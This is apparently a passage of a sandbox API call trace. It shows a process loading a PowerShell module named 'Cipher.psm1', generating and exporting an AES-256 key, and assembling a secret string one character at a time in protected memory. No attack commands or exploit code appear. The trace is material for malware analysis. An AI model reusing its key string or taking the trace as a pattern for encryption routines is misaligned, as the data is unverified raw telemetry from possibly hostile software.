[2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.824] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.824] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.824] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.824] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.824] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x92, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.824] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x93, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.825] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e021c8) returned 1 [0136.826] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84b38) returned 1 [0136.826] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.826] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.826] CryptExportKey (in: hKey=0x8e84b38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69692bc, pdwDataLen=0x99ae894 | out: pbData=0x69692bc*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.826] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x924c\x696\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0136.826] SysStringLen (param_1="") returned 0x8 [0136.826] SysStringLen (param_1="d") returned 0x8 [0136.826] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="\x5c4f\xe037\x5ceb\xfb66\xf003\x3eb3\xb538\xde40") returned 0x8 [0136.827] SysStringLen (param_1="\x5c4f\xe037\x5ceb\xfb66\xf003\x3eb3\xb538\xde40") returned 0x8 [0136.827] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="d+") returned 0x8 [0136.827] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="\x4692\x2600\x78ec\xb96d\x58d8\xc7d5\xa6e6\x1743") returned 0x8 [0136.827] SysStringLen (param_1="\x4692\x2600\x78ec\xb96d\x58d8\xc7d5\xa6e6\x1743") returned 0x8 [0136.827] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="d+D") returned 0x8 [0136.827] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="\xe0bd\x80de\x8de6\xe53e\xfb7d\x56b4\xf034\x8201") returned 0x8 [0136.827] SysStringLen (param_1="\xe0bd\x80de\x8de6\xe53e\xfb7d\x56b4\xf034\x8201") returned 0x8 [0136.827] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="d+Df") returned 0x8 [0136.827] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.827] SysStringLen (param_1="\xecc1\x8bc9\xf6de\x98ba\xe575\x7cc3\xf83e\x42ed") returned 0x8 [0136.827] SysStringLen (param_1="\xecc1\x8bc9\xf6de\x98ba\xe575\x7cc3\xf83e\x42ed") returned 0x8 [0136.828] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="d+Dfg") returned 0x8 [0136.828] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="\x8be7\xf732\xc61f\xb936\xbbb6\x2344\x5212\xee73") returned 0x8 [0136.828] SysStringLen (param_1="\x8be7\xf732\xc61f\xb936\xbbb6\x2344\x5212\xee73") returned 0x8 [0136.828] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="d+DfgR") returned 0x8 [0136.828] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="\x679e\xc213\x1e5e\xf028\x67a6\xca93\xd03e\xc54f") returned 0x8 [0136.828] SysStringLen (param_1="\x679e\xc213\x1e5e\xf028\x67a6\xca93\xd03e\xc54f") returned 0x8 [0136.828] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="d+DfgRi") returned 0x8 [0136.828] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.828] SysStringLen (param_1="\xe78e\xb695\xdab6\x2716\x763b\x26a2\xa208\xf231") returned 0x8 [0136.828] SysStringLen (param_1="\xe78e\xb695\xdab6\x2716\x763b\x26a2\xa208\xf231") returned 0x8 [0136.828] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.829] SysStringLen (param_1="d+DfgRiu") returned 0x8 [0136.829] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc") returned 0x8 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc") returned 0x8 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc") returned 0x8 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc") returned 0x10 [0136.829] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.829] SysStringLen (param_1="d+DfgRiuR圈萺⹿凁䱯") returned 0x10 [0136.829] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x699d\x1a1e\xaa4d\xcbae\xb6ff\x8b99\xb5fd\xf807") returned 0x10 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x699d\x1a1e\xaa4d\xcbae\xb6ff\x8b99\xb5fd\xf807") returned 0x10 [0136.829] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.829] SysStringLen (param_1="d+DfgRiuRf萺⹿凁䱯") returned 0x10 [0136.829] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xf961\xb9bf\xacf6\x681a\xaa24\xefee\xa4f3\x2f33") returned 0x10 [0136.829] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xf961\xb9bf\xacf6\x681a\xaa24\xefee\xa4f3\x2f33") returned 0x10 [0136.829] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.830] SysStringLen (param_1="d+DfgRiuRfq萺⹿凁䱯") returned 0x10 [0136.830] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.830] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x11c4\xee1\x36c\x6b1b\x9455\xccfe\xd97d\x3b56") returned 0x10 [0136.830] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x11c4\xee1\x36c\x6b1b\x9455\xccfe\xd97d\x3b56") returned 0x10 [0136.830] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.830] SysStringLen (param_1="d+DfgRiuRfq4⹿凁䱯") returned 0x10 [0136.831] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.831] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x6a5c\x3dc5\x1002\x9bba\xd6e0\x3e49\xd344\xb2c8") returned 0x10 [0136.831] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x6a5c\x3dc5\x1002\x9bba\xd6e0\x3e49\xd344\xb2c8") returned 0x10 [0136.831] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.831] SysStringLen (param_1="d+DfgRiuRfq4d凁䱯") returned 0x10 [0136.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x758a\x3bbd\x7237\x7c3a\xeac3\xfbe\xae33\xcddf") returned 0x10 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x758a\x3bbd\x7237\x7c3a\xeac3\xfbe\xae33\xcddf") returned 0x10 [0136.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="d+DfgRiuRfq4dq䱯") returned 0x10 [0136.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x5d08\x740d\xa08f\x42cf\xbaf3\xc028\x26e4\xb5ab") returned 0x10 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\x5d08\x740d\xa08f\x42cf\xbaf3\xc028\x26e4\xb5ab") returned 0x10 [0136.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="d+DfgRiuRfq4dqi䱯") returned 0x10 [0136.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xb4b0\x262c\xdd5e\x945b\x8b6f\xf2cc\x3a8c\xc502") returned 0x10 [0136.832] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xb4b0\x262c\xdd5e\x945b\x8b6f\xf2cc\x3a8c\xc502") returned 0x10 [0136.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.832] SysStringLen (param_1="d+DfgRiuRfq4dqiF") returned 0x10 [0136.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f") returned 0x10 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f") returned 0x10 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f") returned 0x10 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f") returned 0x18 [0136.833] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.833] SysStringLen (param_1="d+DfgRiuRfq4dqiF2뵃ꍪ篹낰ﴯŻ䍜") returned 0x18 [0136.833] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x63c3\x48e9\xb0f8\xd9d7\xb264\xf1bc\x9523\x2a25") returned 0x18 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x63c3\x48e9\xb0f8\xd9d7\xb264\xf1bc\x9523\x2a25") returned 0x18 [0136.833] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.833] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vꍪ篹낰ﴯŻ䍜") returned 0x18 [0136.833] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x5ab0\x5c0\x4da7\xe1e9\xb18e\xd078\x7a7\x430") returned 0x18 [0136.833] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x5ab0\x5c0\x4da7\xe1e9\xb18e\xd078\x7a7\x430") returned 0x18 [0136.833] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.833] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vg篹낰ﴯŻ䍜") returned 0x18 [0136.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x3943\x5468\xc80a\x13a0\xc575\x5a07\xbbfc\xb5ab") returned 0x18 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x3943\x5468\xc80a\x13a0\xc575\x5a07\xbbfc\xb5ab") returned 0x18 [0136.834] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vga낰ﴯŻ䍜") returned 0x18 [0136.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x8047\xbbc2\xe7b3\x2e01\x7750\x7cec\x36a6\x67c6") returned 0x18 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x8047\xbbc2\xe7b3\x2e01\x7750\x7cec\x36a6\x67c6") returned 0x18 [0136.834] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="d+DfgRiuRfq4dqiF2VgaeﴯŻ䍜") returned 0x18 [0136.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x762b\x71fd\xd067\x17dd\x1ce6\x512f\xa037\x2d20") returned 0x18 [0136.834] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x762b\x71fd\xd067\x17dd\x1ce6\x512f\xa037\x2d20") returned 0x18 [0136.834] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.834] SysStringLen (param_1="d+DfgRiuRfq4dqiF2VgaevŻ䍜") returned 0x18 [0136.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\xa6a1\xbef7\x6ffd\xbdbf\xaf4c\x1f50\xed5a\xb7c2") returned 0x18 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\xa6a1\xbef7\x6ffd\xbdbf\xaf4c\x1f50\xed5a\xb7c2") returned 0x18 [0136.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.835] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevm䍜") returned 0x18 [0136.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x6667\xf9ee\x4088\x861f\xe49a\x3021\x20d3\xa93d") returned 0x18 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x6667\xf9ee\x4088\x861f\xe49a\x3021\x20d3\xa93d") returned 0x18 [0136.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.835] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmx") returned 0x18 [0136.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce") returned 0x18 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce") returned 0x18 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce") returned 0x18 [0136.835] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce") returned 0x20 [0136.835] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.835] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr塱ḉ禚鼿") returned 0x20 [0136.835] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x777c\x53e2\x3c09\x3a04\xa42a\x14d0\xb05c\xd6d1") returned 0x20 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x777c\x53e2\x3c09\x3a04\xa42a\x14d0\xb05c\xd6d1") returned 0x20 [0136.836] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+ḉ禚鼿") returned 0x20 [0136.836] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x7696\xbc1c\x39f5\xb694\xcb08\x4686\xa54c\x608d") returned 0x20 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x7696\xbc1c\x39f5\xb694\xcb08\x4686\xa54c\x608d") returned 0x20 [0136.836] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+Y禚鼿") returned 0x20 [0136.836] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x274d\x793b\x1b6e\x94a8\x9712\x33c5\x793d\xbb2d") returned 0x20 [0136.836] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x274d\x793b\x1b6e\x94a8\x9712\x33c5\x793d\xbb2d") returned 0x20 [0136.836] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.836] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+Yr禚鼿") returned 0x20 [0136.836] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xaa4e\x7eee\x7da3\x13fd\x3fa7\x20a6\xe47e\xa3cc") returned 0x20 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\xaa4e\x7eee\x7da3\x13fd\x3fa7\x20a6\xe47e\xa3cc") returned 0x20 [0136.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrY鼿") returned 0x20 [0136.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x14a7\xbc00\x1285\xfc03\x9920\x3b7b\x8627\xa324") returned 0x20 [0136.837] SysStringLen (param_1="\x8320\x5722\x8555\x853c\xeabf\x4554\xa151\x7cbc\xdb21\xbd69\xd022\x7aff\x7470\xe9ba\x4480\x738f\x15c8\x585b\x6d41\xe18e\xbd5a\xce5a\xdac4\xd7ce\x14a7\xbc00\x1285\xfc03\x9920\x3b7b\x8627\xa324") returned 0x20 [0136.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen (param_1="d+DfgRiuRfq4dqiF2Vgaevmxr+YrYj鼿") returned 0x20 [0136.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0136.837] SysStringLen 